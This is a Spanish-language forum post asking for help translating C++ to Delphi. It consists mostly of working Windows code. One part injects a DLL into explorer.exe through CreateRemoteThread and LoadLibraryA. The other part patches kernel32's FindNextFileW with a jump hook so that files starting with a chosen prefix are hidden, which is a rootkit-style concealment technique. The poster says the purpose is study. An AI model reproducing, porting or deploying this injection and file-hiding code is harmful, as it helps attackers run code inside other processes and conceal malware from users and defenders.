PDA

Ver la Versión Completa : Traducir código C++ a Delphi


angelp4492
04-06-2015, 18:01:23
Hola estoy intentando estudiando las inyecciones dell en delphi y tenco este code en c++

#include
#include
void main()
{
HANDLE proceso;
LPVOID RemoteString;
LPVOID nLoadLibrary;
int pid;
// OBTENEMOS EL PID DEL PROCESO
// (Si quieren información sobre estas APIs miren la ayuda de microsoft)
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };
//Aquí empezamos a recorrer todos los procesos que están abiertos
while(Process32Next(handle, &procinfo))
{
if(!strcmp(procinfo.szExeFile, "explorer.exe"))
//comparamos los nombres
{
CloseHandle(handle);
pid = procinfo.th32ProcessID;
//guardamos el PID
}
}

CloseHandle(handle);
// INYECTAMOS LA DLL
// (en mi caso se encuentra en H:\Dll.dll, ustedes cámbienlo)
proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen("H:\\Dll.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(proceso,(LPVOID)RemoteString,"H:\\Dll.dll",strlen("H:\\Dll.dll"),NULL);
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL, NULL);
CloseHandle(proceso);
}


esta parte ya la he traducido

pero me falta esta

void Hookear()
{
DWORD ProteVieja;
// Parametro para VirtualProtect
BYTE *DirFN;
// La dirección en memoria de FindNextFileW
BYTE *DirYoFN;
// La dirección en memoria de la función que remplaza a FindNextFileW
// –> HOOKEAMOS FINDNEXTFILEW (7 bytes)
// Obtenemos la dirección en memoria de FindNextFileW.
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");
//Reservamos 12 bytes de memoria para nuestro Buffer
//FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
BufferFN=(BYTE *) malloc (12);
//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);
// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7); BufferFN += 7;
// En los 5 bytes restantes…
// En el primero introducimos un jmp
*BufferFN=0xE9;
//0xE9 es el codigo de operacion del jmp BufferFN++;
// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3;
// Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);
// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;
// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;
// Metemos la distancia del salto
*((signed int *) DirFN) = DirYoFN - DirFN - 4;
// Libermos librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL); }



HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
// Ocultamos los archivos que empiecen por el prefijo indicado
HANDLE hand;
char ascStr[611];
do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);
}
while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
return hand;
}


alguien me echa una mano